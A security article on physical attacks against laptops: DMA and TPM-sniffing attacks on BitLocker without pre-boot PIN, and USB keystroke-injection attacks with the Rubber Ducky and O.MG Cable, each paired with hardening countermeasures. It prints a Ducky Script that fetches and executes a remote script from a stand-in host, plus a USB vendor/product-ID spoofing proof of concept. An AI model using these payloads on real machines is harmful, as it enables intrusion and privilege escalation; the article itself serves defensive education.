The full disk encryption is a measure against illegitimate physical access to a device. With this the confidentiality of the data and the integrity of the system are ensured. On top of that, the device management controls which peripheral devices are allowed to be used. These hardening measures lead to restriction of functionality and require the acceptance of the users, which leads to a compromise between security and usability.

The trade-off between security and usability depends on the threat model. A threat model makes assumes about the ability and motivation of the attackers. The attack scenarios in this article are based on attackers with advanced skills and the motivation to conduct physical attacks, either to steal a device or to enter a building to gain access to devices or to plant hardware.

Attacks against Full Disk Encryption

The full disk encryption protects data from being accessed or manipulated. This is referred as encryption at rest. When booting the machine, a key is required to decrypt the hard disk. With Microsoft BitLocker, the BitLocker Encryption Key is stored in the Trusted Platform Module (TPM) of the machine. In the default configuration of BitLocker, the key is loaded from the TPM at start-up, stored in memory and the system starts up to the login screen without any additional form of authentication. This opens up attacks against the hard disk encryption.

DMA Attacks

A Direct Memory Access (DMA) attack is a side channel attack in which attackers misuse a high-speed interface with direct access to system memory as an attack vector. Such interfaces include FireWire, Thunderbolt, and PCI Express. Direct access to the system memory bypasses the operating system’s protection mechanisms.

If a system with hard disk encryption can be booted without pre-boot authentication, secrets such as keys or passwords can be extracted from the memory, or the running system can be manipulated using DMA attacks. The tool PCILeech developed by Ulf Frisk has become the “standard tool” for such attacks. In the article Practical DMA Attack on Windows 10, Jean-Christophe Delaunay describes how PCILeech was used to manipulate the login mask in the memory so that the system accepts any password for the local administrator account.

By introducing Input-Output Memory Management Units (IOMMU), such as Intel Virtualization Technology for Directed I/O (Intel VT-d), DMA attacks can be prevented. The usage of IOMMU is active by default in macOS and can be used in Windows by activating Virtualisation-Based-Security-Functions (VBS).

Sniffing Attacks

Without pre-boot authentication, the key is read from the TPM during the boot procedure and passed to the Boot Loader so that the hard disk can be decrypted. This communication happens via the Serial Peripheral Interface (SPI). Attackers can connect to the TPM chip on the device, listen to the SPI bus and thus extract the key. This requires a profound knowledge of the structure of the specific device and enough time to carry out the attack. The three articles Sniff, There Leaks my BitLocker Key, From Stolen Laptop to Inside the Company Network and Break into this CEO’s laptop describe such attacks in detail.

Countermeasures

One countermeasure against DMA attacks is the use of IOMM Units. This functionality must be activated in the BIOS/UEFI. As an additional measure, access to the BIOS/UEFI should be protected so that security functions cannot be deactivated. For Windows, the VBS function and the Secure Boot with DMA setting must be activated. Furthermore, the use of interfaces such as FireWire and Thunderbolt should be prevented via the group policy settings Prevent installation of devices that match any of these device IDs and Prevent installation of devices using drivers that match these device setup classes. Microsoft describes how to configure the settings in the article Blocking the SBP-2 driver and Thunderbolt controllers to reduce 1394 DMA and Thunderbolt DMA threats to BitLocker. Depending on the hardware support, the function Kernel DMA Protection can also be used.

To prevent sniffing attacks, pre-boot authentication must be done before decrypting the hard disk. For BitLocker, Microsoft describes the countermeasures in the article BitLocker Countermeasures. The group policy setting BitLocker Drive Encryption\Operating System Drives\Require additional authentication at startup must be set to one of the following values:

• TPM with PIN
• TPM with startup key
• TPM with startup key and PIN

If a PIN is used, the setting Allow enhanced PINs for startup should also be used. Then the BitLocker key in the TPM is only released after successful authentication and it is not possible to perform a sniffing attack without the PIN.

Our PowerShell script HardeningKitty can be used to review the hardening settings.

USB attacks

No DMA attacks are possible via USB 2 and USB 3. The USB interface is nevertheless a popular attack target, also in combination with social engineering attacks. In the TV series Mr Robot the character Angela Moss receives a USB Rubber Ducky with instructions to connect it to a system in order to obtain the target’s credentials. The attack is described in detail in the article 15 Second Password Hack, Mr Robot Style. The USB Rubber Ducky connects as a Human Interface Device (HID), an input device such as a keyboard or mouse, and can therefore inject keystrokes. This opens a prompt window with administrative privileges, runs Invoke-Mimikatz and extracts the credentials. However, for this attack to be successful, a user with sufficient privileges must be logged in.

Rubber Ducky

Besides USB Rubber Ducky, a Teensy USB Development Board can also be used for such attacks. The Teensy is programmed with the development environment Teensyduino. With the USB Rubber Ducky, the language Ducky Script was also invented in 2010, which simplifies the programming of such attacks and has an easy-to-read syntax.

With the following Ducky Script example, a script can be loaded from the internet via PowerShell and executed. To do this, the Rubber Ducky only has to be connected to the computer, the rest of the process is executed automatically.

DELAY 3000
GUI r
DELAY 100 
STRING powershell.exe
ENTER
DELAY 100
STRING $Response = Invoke-WebRequest -Uri evil.example.org/script.txt
ENTER
DELAY 200
STRING Invoke-Expression($Response.Content)
ENTER

With Ducky Script all keystrokes are programmed, with GUI r the prompt Run is invoked and then the PowerShell shell is started and the commands to download and start the script are executed.

O.MG Cable

The O.MG Cable from MG is a different device for USB attacks. The cable is available as USB-C to USB-A or USB-C to Apple Lightning variants and the cables are hardly distinguishable from the original. A Wi-Fi chip is integrated into the cable so that the O.MG Cable can start its own Access Point or connect to a predefined WLAN. Then an attacker can access the front end and execute live commands in a script editor.

A possible attack would be to place the cable in an office and wait for someone to connect this to their device. Then the access point starts and attackers within wireless range can interact with the device via the cable. It is also possible to execute a payload when the device is plugged in, analogous to the Rubber Ducky.

The Twitter post Windows escalation with an OMG cable: from Guest account to System user demonstrates how a setup program of a device from the company Razer can be misused to gain local system rights on a system. In the process, it is pretended that a Razer product has been connected to the computer and an advanced setup with system rights is started through Windows Update. During the setup dialogue, a command prompt window can then be opened and the attacker gains system rights.

The O.MG Cable has an extended version of Ducky Script, which allows the definition of Vendor ID (VID) and Product ID (PID). This allows any USB device to be imitated. The operating system recognises which device it is based on the Vendor ID and the Product ID. In the form of a Proof-of-Concept Script, this looks as such:

VID 1532
PID 0073
DELAY 30000
SPACE

By using VID and PID the USB device is specified and the commands DELAY and SPACE are there to perform an action as if the device was active after the waiting time has elapsed. Windows recognises that a new device has been connected and attempts to install the appropriate drivers. Device manufacturers have the option of executing an extended setup in addition to drivers. This function is called “Device-Specific Co-installer” by Microsoft:https://docs.microsoft.com/en-us/windows-hardware/drivers/install/registering-a-device-specific-co-installer. If manufacturers run the setup with system rights, as in the case of Razer, and allow attackers to jump out of the installation dialogue, a privilege escalation vulnerability is possible.

With the USB Rubber Ducky, it is also possible to impersonate other USB devices. To do this, a file called vidpid.bin must be created in the file structure of the Rubber Ducky and contain VID and PID. This file can be created with the following command:

perl -e 'print pack "H*", "15320073"' > /path/to/sdcard/vidpid.bin

By probing VID and PID combinations, it is also possible to search for vulnerabilities in other driver installations. The vulnerability analyst Will Dormann has tried this out and documented it in a Twitter thread.

Countermeasures

In general, USB devices can be allowed or blocked via a USB device management solution. However, since HID devices are used in USB attacks and these device class is usually not blocked, this countermeasure is not effective. Other measures include restricting applications using application control solutions and running PowerShell in Constrained Language Mode. To detect the attack, other controls must be used, such as monitoring PowerShell and correlating events, for example, detecting the use of new hardware and then running commands and access to the local network or internet.

As a workaround, the use of Co-Installer can be disabled with the registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Device Installer\DisableCoInstallers, the setting DisableCoInstallers should be set to the value 1. This setting can affect the use of new hardware and, depending on the device, it may not install correctly. However, the vulnerability must be fixed by Microsoft and the manufacturers of the respective devices, it should not be possible for interactive setup dialogues to be executed with system rights if a user does not have administrator rights.

Conclusion

Using hard disk encryption without additional authentication is vulnerable to DMA and sniffing attacks. It is not sufficient to enable hard disk encryption and omit pre-boot authentication for ease of use. The same applies to the USB interface, only device management and disabling of certain device types, such as Ethernet or Wi-Fi adapters, are not enough to block all attacks. If attackers have physical access to the devices, further measures are necessary that have an impact on the usability of the device. This is the classic dilemma of the trade-off between security and usability. Depending on the threat model, the scales should clearly tip to the side of security.

About the Author

Michael Schneider has been in IT since 2000. Since 2010 he is focused on information security. He is an expert at penetration testing, hardening and the detection of vulnerabilities in operating systems. He is well-known for a variety of tools written in PowerShell to find, exploit, and mitigate weaknesses. (ORCID 0000-0003-0772-9761)

Links

• https://docs.hak5.org/hc/en-us/articles/360049449314-Ducky-Script-Command-Reference
• https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs
• https://docs.microsoft.com/en-us/windows/security/information-protection/bitlocker/bitlocker-countermeasures
• https://docs.microsoft.com/en-us/windows/security/information-protection/kernel-dma-protection-for-thunderbolt
• https://dolosgroup.io/blog/2021/7/9/from-stolen-laptop-to-inside-the-company-network
• https://github.com/scipag/HardeningKitty
• https://github.com/ufrisk/pcileech
• https://help.hak5.org/usb-rubber-ducky-1/guides/15-second-password-hack-mr-robot-style
• https://labs.f-secure.com/blog/sniff-there-leaks-my-bitlocker-key/
• https://o.mg.lol/
• https://shop.hak5.org/products/usb-rubber-ducky-deluxe
• https://support.microsoft.com/en-us/topic/blocking-the-sbp-2-driver-and-thunderbolt-controllers-to-reduce-1394-dma-and-thunderbolt-dma-threats-to-bitlocker-bf0ef10b-f563-5cfc-9740-8340b1d86a0c
• https://twitter.com/SecurityJon/status/1445020885472235524
• https://twitter.com/UlfFrisk
• https://twitter.com/_MG_
• https://twitter.com/_MG_/status/1429293225181814784
• https://twitter.com/wdormann
• https://twitter.com/wdormann/status/1433131178471612421
• https://www.imdb.com/title/tt4158110/
• https://www.intel.com/content/dam/develop/external/us/en/documents/intel-whitepaper-using-iommu-for-dma-protection-in-uefi-820238.pdf
• https://www.pjrc.com/teensy/
• https://www.pjrc.com/teensy/teensyduino.html
• https://www.synacktiv.com/en/publications/practical-dma-attack-on-windows-10.html